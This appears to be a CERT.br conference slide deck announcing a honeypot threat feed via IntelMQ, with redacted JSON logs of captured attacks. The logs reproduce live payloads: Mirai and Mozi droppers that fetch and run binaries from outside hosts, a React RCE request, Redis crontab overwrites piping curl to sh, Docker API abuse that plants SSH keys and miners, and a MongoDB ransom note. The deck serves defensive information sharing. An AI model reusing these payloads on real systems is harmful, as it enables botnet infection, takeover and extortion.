The New Feed on The Block: CERT.br feeds via IntelMQ

Cristine Hoepers, Ph.D.
CERT.br/NIC.br
cristine@cert.br

Klaus Steding-Jessen, Ph.D.
CERT.br/NIC.br
jessen@cert.br

Joint TF-CSIRT & FIRST Regional Symposium Europe
Jerez de la Frontera, Spain – February 4, 2026

cert.br nic.br cgi.br

TLP:CLEAR

cert.br Computer Emergency Response Team Brazil

National CSIRT of Last Resort

Services Provided to the Community

Incident Management

- Coordination
- Technical Analysis
- Mitigation and Recovery Support

Situational Awareness

- Data Acquisition
  - Distributed Honeypots
  - SpamPots
  - Threat feeds
- Information Sharing

Knowledge Transfer

- Awareness
  - Development of Best Practices
  - Outreach
- Training
- Technical and Policy Advisory

Affiliations and Partnerships:

FIRST MEMBER

M3AAWG Messaging Malware Mobile Anti-Abuse Working Group

Carnegie Mellon University Software Engineering Institute — SEI Partner Network

APWG

Accredited by Trusted Introducer

Mission

To increase the level of security and incident handling capacity of the networks connected to the Internet in Brazil.

Constituency

Any network that uses Internet Resources allocated by NIC.br

- IP addresses or ASNs allocated to Brazil
- domains under the ccTLD .br

Governance

Maintained by **NIC.br** – The National Internet Registry (NIR)

- all activities are funded by .br domain registration

NIC.br is the **executive branch of CGI.br** – The Brazilian Internet Steering Committee

- a multistakeholder organization
- with the purpose of coordinating and integrating all Internet service initiatives in Brazil

https://cert.br/about/
https://cert.br/sobre/filiacoes/
https://cert.br/about/rfc2350/

Agenda

- Why a new feed and how it compares with others
- Source of the data being shared
- Examples of traffic seen coming from EU address space
- How to request access

TLP:CLEAR

1. Why a New Feed?

We think the data from our honeypots could be useful for the community

- only you can decide if it is valuable
- the feed is ready to share with
  - National CSIRTs
  - ASN owners

2. Is it better?

It is… different

- different vantage point
  - collected in honeypots hosted in Brazil and maintained by CERT.br
  - sensors are not in cloud/hosting IPs
    - hosted on universities, government, ISPs and private companies, including energy and financial sector
- different from open-source honeypots and network telescopes
  - listeners written in-house

About the honeypots

- Run on BSD
  - TLS aware and deployed in IPv4 and IPv6 IP ranges
  - All data enrichment happens at capture time
    - DNS PTR, Source OS fingerprint, ASN, ASNname, CC
- About the listeners
  - Protocol Specific
    - listeners understand the protocols and record complete sessions
  - Protocol Agnostic
    - listens on every UDP/TCP port
    - records all payload

Example of data captured by the listeners – coming from EU IPs

cert.br nic.br cgi.br

Telnet: Mozi variant

TLP:CLEAR


```
{
  "timestamp": 1769904046.065554,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 60849,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "SE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 3.1-3.10",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 23,
  "session_id": 44642,
  "tls": null,
  "size": 717,
  "creds": {
    "login": "admin",
    "password": "CenturyL1nk"
  },
  "request": [
    "start",
    "enable",
    "config terminal",
    "system",
    "linuxshell",
    "su",
    "shell",
    "sh",
    ">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd
   /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x44\\x5a\\x43\\x51\\x50\\x49'",
    "/bin/busybox wget;/bin/busybox echo -ne '\\x44\\x5a\\x43\\x51\\x50\\x49'",
    ">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd
   /tmp;>/var/.x&&cd /var;rm -rf i;wget http://<IP>:47269/i ||curl -O http://<IP>:47269/i ||/bin/busybox wget http://<IP>:47269/i;chmod 777
   i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x42\\x52\\x47\\x4d\\x42\\x58\\x45'"
  ]
}
```

HTTP: Mirai variant exploiting CVE-2024-53944

TLP:CLEAR


```
{
  "timestamp": 1769873793.6374207,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 56332,
  "src_ptr": "NXDOMAIN",
  "src_cc": "DE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 80,
  "session_id": 10303,
  "tls": null,
  "size": 672,
  "request": "POST /goform/formJsonAjaxReq HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>",
    "User-Agent": "Go-http-client/1.1",
    "Content-Length": "476",
    "Content-Type": "application/json",
    "Cookie": "userLanguage=EN; username=admin",
    "Referer": "http://<SENSOR_IP>/home.asp"
  },
  "ascii": true,
  "data": "{\"action\":\"set_online\",\"data\":{\"agree\":1,\"check_ip1\":\"8.2.8.8\",\"check_ip2\":\"$(kill -9 $(ps aux | awk
   'NR\\u003e1 \\u0026\\u0026 $3 \\u003e 2.0 {print $2}') 2\\u003e/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget
   http://<IP>:36695/mpsl; curl -O http://<IP>:36695/mpsl; busybox wget http://<IP>:36695/mpsl; busybox curl -O
   http://<IP>:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)\",\"enable\":1,\"interval\":\"10\",\"reboot_interval\":\"30\"}}"
}
```

SIP: call attempt

TLP:CLEAR


```
{
  "timestamp": 1768870809.4585543,
  "family": "inet",
  "proto": "UDP",
  "src_ip": "<SRC_IP>",
  "src_port": 63763,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": null,
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5060,
  "session_id": null,
  "tls": null,
  "size": 876,
  "request": "INVITE sip:<PHONE_NUMBER>@<SENSOR_IP> SIP/2.0\r\nTo: <sip:<PHONE_NUMBER>@<SENSOR_IP>>\r\nFrom:
  <sip:101@<SENSOR_IP>>;tag=e5f4a9299136e4f7a\r\nVia: SIP/2.0/UDP <SRC_IP>:63763;branch=z9hG4bK-d87543-
  936285253-1--d87543-;received=<SRC_IP>;rport=63763\r\nCall-ID: e5f4a929913778e4f7a\r\nCSeq: 1
  INVITE\r\nContact: <sip:101@<SRC_IP>:63763>\r\nExpires: 3600\r\nMax-Forwards: 70\r\nAllow: INVITE, ACK,
  CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO\r\nUser-Agent: Asterisk PBX 20.0.0\r\nContent-
  Type: application/sdp\r\nContent-Length: 341\r\n\r\nv=0\r\no=- 2440068981 1 IN IP4
  <SRC_IP>\r\ns=SDK_AmroTls\r\nc=IN IP4 <SRC_IP>\r\nt=0 0\r\nm=audio 63764 RTP/AVP 8 0 3 9 18
  101\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0 PCMU/8000\r\na=rtpmap:3 GSM/8000\r\na=rtpmap:9
  G722/8000\r\na=rtpmap:18 G729/8000\r\na=fmtp:18 annexb=yes\r\na=rtpmap:101 telephone-
  event/8000\r\na=fmtp:101 0-16\r\na=ssrc:2513795048\r\na=sendrecv\r\n\r\n"
}
```

MongoDB: ransomware (1/2)

TLP:CLEAR


```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 108,
  "request": {
    "dropDatabase": 1,
    "comment": null,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "local"
  }
}
```

MongoDB: ransomware (2/2)

TLP:CLEAR


```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 529,
  "request": {
    "insert": "README",
    "ordered": true,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "READ__ME_TO_RECOVER_YOUR_DATA",
    "_id": "<ID>",
    "content": "All your data is backed up. You must pay 0.0064 BTC to <WALLET> In 48 hours, your data will be publicly disclosed and deleted. (more information: go to http://<URL>)After paying send mail to us: <ATTACKER>+<DB_CODE>@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: <DB_CODE>"
  }
}
```

Docker: ssh root authorized_keys addition

TLP:CLEAR


```
{
  "timestamp": 1766557472.7116082,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 25518,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GR",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Windows NT kernel 5.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 1525,
  "tls": null,
  "size": 542,
  "request": "POST /containers/create HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "python-requests/2.31.0",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Content-Length": "346",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data": "{\"Image\": \"alpine:latest\", \"Cmd\": [\"sh\", \"-c\", \"mkdir -p /host/root/.ssh && echo 'ssh-ed25519 <SSH_KEY>
   <KEY_COMMENT>' >> /host/root/.ssh/authorized_keys && chmod 700 /host/root/.ssh && chmod 600
   /host/root/.ssh/authorized_keys\"], \"HostConfig\": {\"Binds\": [\"/:/host\"], \"AutoRemove\": true}}"
}
```

Docker: Monero miner

TLP:CLEAR


```
{
  "timestamp": 1766710972.0462928,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 43320,
  "src_ptr": "NXDOMAIN",
  "src_cc": "FR",
  "src_asn": <ASN>,
  "src_asname": "<SRC_ASN>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 1585,
  "tls": null,
  "size": 734,
  "request": "POST /containers/create HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "python-requests/2.31.0",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Content-Length": "538",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data": "{\"Image\": \"metal3d/xmrig:latest\", \"Cmd\": [\"-o\", \"<IP>:3333\", \"--tls\", \"-o\", \"<IP>:443\", \"-o\",
   \"gulf.moneroocean.stream:20128\", \"--tls\", \"-u\", \"<MONERO_WALLET>\", \"-p\", \"x\", \"--donate-level=1\", \"--cpu-max-
   threads-hint=100\"], \"HostConfig\": {\"Privileged\": true, \"RestartPolicy\": {\"Name\": \"always\"}, \"NetworkMode\":
   \"host\", \"CpuShares\": 1024, \"CpuCount\": 0, \"Memory\": 0, \"MemorySwap\": -1, \"OomKillDisable\": true, \"PidsLimit\": -
   1}}"
}
```

Docker: Monero miner via github

TLP:CLEAR


```
{
  "timestamp": 1766244361.5457609,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 42445,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "NL",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 1163,
  "tls": null,
  "size": 611,
  "request": "POST /containers/create HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "python-requests/2.32.3",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Content-Type": "application/json",
    "Content-Length": "425"
  },
  "ascii": true,
  "data": "{\"Image\": \"alpine:latest\", \"Cmd\": [\"/bin/sh\", \"-c\", \"curl -s -L
   https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s <MONERO_WALLET> && echo
   DOCKER_RCE_CMD_EXECUTED_1766244360\"], \"AttachStdin\": false, \"AttachStdout\": true, \"AttachStderr\": true, \"Tty\":
   false, \"HostConfig\": {\"Binds\": [\"/:/host\"]}}"
}
```

Docker: masscan install (1/3)

TLP:CLEAR


```
{
  "timestamp": 1765551196.0441964,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 24471,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "AT",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 288,
  "tls": null,
  "size": 1691,
  "request": "POST /v1.24/containers/create?name=verdant_peristeronic HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "Go-http-client/1.1",
    "Content-Length": "1533",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data":
   "{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":true,\"OpenStdin\":fa
   lse,\"StdinOnce\":false,\"Env\":null,\"Cmd\":[\"/bin/bash\"],\"Image\":\"ubuntu:18.04\",\"Volumes\":{},\"WorkingDir\":\"\",\"Entrypoint\":null,\"On
   Build\":null,\"Labels\":{},\"HostConfig\":{\"Binds\":null,\"ContainerIDFile\":\"\",\"LogConfig\":{\"Type\":\"\",\"Config\":{}},\"NetworkMode\":\"defaul
   t\",\"PortBindings\":{},\"RestartPolicy\":{\"Name\":\"always\",\"MaximumRetryCount\":0},\"AutoRemove\":false,\"VolumeDriver\":\"\",\"VolumesFrom\":null
   ,\"CapAdd\":null,\"CapDrop\":null,\"CgroupnsMode\":\"\",\"Dns\":[],\"DnsOptions\":[],\"DnsSearch\":[],\"ExtraHosts\":null,\"GroupAdd\":null,\"IpcMode\"
   :\"\",\"Cgroup\":\"\",\"Links\":null,\"OomScoreAdj\":0,\"PidMode\":\"\",\"Privileged\":false,\"PublishAllPorts\":false,\"ReadonlyRootfs\":false,\"Secur
   ityOpt\":null,\"UTSMode\":\"\",\"UsernsMode\":\"\",\"ShmSize\":0,\"ConsoleSize\":[0,0],\"Isolation\":\"\",\"CpuShares\":0,\"Memory\":0,\"NanoCpus\":0,\
   "CgroupParent\":\"\",\"BlkioWeight\":0,\"BlkioWeightDevice\":[],\"BlkioDeviceReadBps\":null,\"BlkioDeviceWriteBps\":null,\"BlkioDeviceReadIOps\":null,\
   "BlkioDeviceWriteIOps\":null,\"CpuPeriod\":0,\"CpuQuota\":0,\"CpuRealtimePeriod\":0,\"CpuRealtimeRuntime\":0,\"CpusetCpus\":\"\",\"CpusetMems\":\"\",\"
   Devices\":[],\"DeviceCgroupRules\":null,\"DeviceRequests\":null,\"KernelMemory\":0,\"KernelMemoryTCP\":0,\"MemoryReservation\":0,\"MemorySwap\":0,\"Mem
   orySwappiness\":-1,\"OomKillDisable\":false,\"PidsLimit\":0,\"Ulimits\":null,\"CpuCount\":0,\"CpuPercent\":0,\"IOMaximumIOps\":0,\"IOMaximumBandwidth\"
   :0,\"MaskedPaths\":null,\"ReadonlyPaths\":null},\"NetworkingConfig\":{\"EndpointsConfig\":{}}}\n"
}
```

Docker: masscan install (2/3)

TLP:CLEAR


```
{
  "timestamp": 1765551197.429551,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 48269,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "AT",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 289,
  "tls": null,
  "size": 336,
  "request": "POST /v1.24/containers/71c7c778b442/exec HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "Go-http-client/1.1",
    "Content-Length": "194",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data":
   "{\"User\":\"\",\"Privileged\":false,\"Tty\":false,\"AttachStdin\":false,\"AttachStderr\":true,\"AttachStdout\":true,\"Detach
   \":false,\"DetachKeys\":\"\",\"Env\":null,\"WorkingDir\":\"\",\"Cmd\":[\"apt-get\",\"-yq\",\"update\"]}\n"
}
```

Docker: masscan install (3/3)

TLP:CLEAR


```
{
  "timestamp": 1765551198.8517184,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 33503,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "AT",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 291,
  "tls": null,
  "size": 359,
  "request": "POST /v1.24/containers/71c7c778b442/exec HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "Go-http-client/1.1",
    "Content-Length": "217",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data": "{\"User\":\"\",\"Privileged\":false,\"Tty\":false,\"AttachStdin\":false,\"AttachStderr\":true,
   \"AttachStdout\":true,\"Detach\":false,\"DetachKeys\":\"\",\"Env\":null,\"WorkingDir\":\"\",
   \"Cmd\":[\"apt-get\",\"-yq\",\"install\",\"masscan\",\"docker.io\"]}\n"
}
```

Android Debug Bridge (ADB): Mirai variant

TLP:CLEAR


```
{
  "timestamp": 1767241748.0892634,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 57210,
  "src_ptr": "NXDOMAIN",
  "src_cc": "DE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5555,
  "session_id": 2874,
  "tls": null,
  "size": 1202,
  "header": "cmd: A_OPEN, arg0: 0x158, arg1: 0x00",
  "ascii": true,
  "data": "shell:cd /data/local/tmp/; rm *; busybox wget http://<IP>/arm.uhavenobotsxd; curl
  http://<IP>/arm.uhavenobotsxd -O; chmod +x arm.uhavenobotsxd; ./arm.uhavenobotsxd android; busybox wget
  http://<IP>/arm5.uhavenobotsxd; curl http://<IP>/arm5.uhavenobotsxd -O; chmod +x arm5.uhavenobotsxd;
  ./arm5.uhavenobotsxd android; busybox wget http://<IP>/arm6.uhavenobotsxd; curl http://<IP>/arm6.uhavenobotsxd -O;
  chmod +x arm6.uhavenobotsxd; ./arm6.uhavenobotsxd android; busybox wget http://<IP>/arm7.uhavenobotsxd; curl
  http://<IP>/arm7.uhavenobotsxd -O; chmod +x arm7.uhavenobotsxd; ./arm7.uhavenobotsxd android; busybox wget
  http://<IP>/x86_32.uhavenobotsxd; curl http://<IP>/x86_32.uhavenobotsxd -O; chmod +x x86_32.uhavenobotsxd;
  ./x86_32.uhavenobotsxd android; busybox wget http://<IP>/mips.uhavenobotsxd; curl http://<IP>/mips.uhavenobotsxd -O;
  chmod +x mips.uhavenobotsxd; ./mips.uhavenobotsxd android; busybox wget http://<IP>/mipsel.uhavenobotsxd; curl
  http://<IP>/mipsel.uhavenobotsxd -O; chmod +x mipsel.uhavenobotsxd; ./mipsel.uhavenobotsxd android\u0000"
}
```

Android Debug Bridge (ADB): Mirai variant

TLP:CLEAR


```
{
  "timestamp": 1767293912.987093,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 36616,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "NL",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5555,
  "session_id": 1971,
  "tls": null,
  "size": 427,
  "header": "cmd: A_OPEN, arg0: 0x158, arg1: 0x00",
  "ascii": true,
  "data": "shell:cd /data/local/tmp; su 0 mkdir .wws || mkdir .wws; cd .wws; toybox nc <IP> 3338
  > parm7; toybox nc <IP> 3336 > parm5; toybox nc <IP> 3337 > parm6; toybox nc <IP> 3335 > parm;
  su 0 chmod 777 parm7 parm5 parm6 parm || chmod 777 parm7 parm5 parm6 parm; su 0 ./parm7 arm7;
  ./parm5; ./parm6; ./parm; su 0 ./parm7 arm5 || ./parm5 arm5 || ./parm6 arm5 || ./parm
  arm5;\u0000"
}
```

Android Debug Bridge (ADB): Mirai variant

TLP:CLEAR


```
{
  "timestamp": 1767922090.2987654,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 58461,
  "src_ptr": "NXDOMAIN",
  "src_cc": "IT",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x (no timestamps) [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5555,
  "session_id": 5973,
  "tls": null,
  "size": 174,
  "header": "cmd: A_OPEN, arg0: 0x158, arg1: 0x00",
  "ascii": true,
  "data": "shell:cd /data/local/tmp; su root; rm -rf instd;
  (toybox nc <IP> 1223 || busybox nc <IP> 1223) > instd;
  chmod 777 instd; ./instd\u0011\u0000"
}
```

Agnostic Listener: React Exploit

TLP:CLEAR


```
{
  "timestamp": 1769913916.4011025,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 51688,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "NL",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 3001,
  "session_id": 708184,
  "tls": null,
  "size": 1488,
  "ascii": true,
  "data": "POST / HTTP/1.1\r\nHost: <SENSOR_IP>:3001\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 1251\r\nAccept:
   */*\r\nConnection: close\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\r\nNext-Action:
   x\r\nAccept-Encoding: gzip\r\n\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\
   \\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-
   Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------
   WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constru
   ctor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res =
   process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; rm -rf *; wget http://<IP>:1/xd.x86; curl -O
   http://<IP>:1/xd.x86; chmod 777 xd.x86; ./xd.x86 nextjs\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE
   RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n
   console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n"
}
```

Agnostic Listener: Fortinet VPN Brute Force

TLP:CLEAR


```
{
  "timestamp": 1769907259.6015913,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 26961,
  "src_ptr": "NXDOMAIN",
  "src_cc": "UA",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Windows NT kernel [generic] [fuzzy]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 10443,
  "session_id": 706571,
  "tls": "TLSv1.2 / ECDHE-ECDSA-AES256-GCM-SHA384",
  "size": 66,
  "ascii": true,
  "data": "GET /remote/login?lang=en HTTP/1.1\r\nHost: https://<SENSOR_IP>/\r\n\r\n"
}
```

Redis: RCE via crontab overwrite

TLP:CLEAR


```
{
  "timestamp": 1769948866.723155,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 39236,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": ”<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 388,
  "tls": null,
  "size": 127,
  "ascii": true,
  "request":
   "*3\r\n$3\r\nset\r\n$7\r\nbackup2\r\n$94\r\n\n\n\n
   */3 * * * * wget -q -O- http://<IP>/plugins-
   dist/safehtml/lang/font/kworker | sh\n\n\r\n"
}
```

```
{
  "timestamp": 1769915916.4124842,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 45544,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "FI",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 366,
  "tls": null,
  "size": 126,
  "ascii": true,
  "request":
   "*3\r\n$3\r\nset\r\n$7\r\nbackup3\r\n$93\r\n\n\n\n
   */4 * * * * curl -fsSL http://<IP>/plugins-
   dist/safehtml/lang/font/kworker | sh\n\n\r\n"
}
```

DNS DoT: couldn’t find EU though :-)

TLP:CLEAR


```
{
  "timestamp": 1769158111.2423546,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 54090,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "US",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": ”<SENSOR_IP>",
  "dst_port": 853,
  "session_id": 449,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "size": 30,
  "request": {
    "id": 6,
    "answer": 0,
    "opCode": "QUERY",
    "recDes": 1,
    "recAv": 0,
    "auth": 0,
    "rCode": 0,
    "trunc": 0,
    "maxSize": 0,
    "authenticData": 0,
    "checkingDisabled": 0,
    "queries": [
     {
         "name": "version.bind",
         "type": "TXT",
         "cls": "CH"
     }
    ],
    "answers": [],
    "authority": [],
    "additional": []
  }
}
```

```
{
  "timestamp": 1769158116.8788893,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 59968,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "US",
  "src_asn": <ASN>,
  "src_asname": "<SRC_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 853,
  "session_id": 450,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "size": 12,
  "request": {
    "id": 0,
    "answer": 0,
    "opCode": "STATUS",
    "recDes": 0,
    "recAv": 0,
    "auth": 0,
    "rCode": 0,
    "trunc": 0,
    "maxSize": 0,
    "authenticData": 0,
    "checkingDisabled": 0,
    "queries": [],
    "answers": [],
    "authority": [],
    "additional": []
  }
}
```

Agnostic Listener: SSH IPv6, also not EU :-)

TLP:CLEAR


```
{
  "timestamp": 1769650544.62246,
  "family": "inet6",
  "proto": "TCP",
  "src_ip": "<SRC_IPv6>",
  "src_port": 48436,
  "src_ptr": "TIMEOUT",
  "src_cc": "CN",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "empty",
  "dst_ip": "<SENSOR_IPv6>",
  "dst_port": 22,
  "session_id": 0,
  "tls": null,
  "size": 0,
  "ascii": true,
  "data": null
}
```

How to Request a Feed

cert.br nic.br cgi.br

Who is Entitled to Request a Feed

- National CSIRTs
  - Based on Country Code (CC)
  - We determine the IP CC via the MaxMind Geolocation API

- Autonomous System Owners
  - You provide the AS Number
  - We will try to verify you are from this AS to the best of our ability
    - if we cannot, we won't share

How to Receive the Feeds

Directly

- Send an email to **<feeds@cert.br>** providing
  - Country Code or ASN
- You'll receive the credentials and a dedicated link
  - There is a daily file
    - with hourly additions

Via IntelMQ

- The feed is being added in February (according to Sebastian/Aaron)
  - send an email to **<feeds@cert.br>** to request an API key

Feed Data Format Example – Protocol Listener

TLP:CLEAR


```
{
  "timestamp": "2026-02-01T17:37:53.274Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 34782,
  "src_hostname": "NXDOMAIN",
  "src_cc": "DE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 5555,
  "payload": {
    "app_proto": "adb",
    "size": 1514,
    "ascii": true,
    "headers": "cmd: A_OPEN, arg0: 0x158, arg1: 0x00",
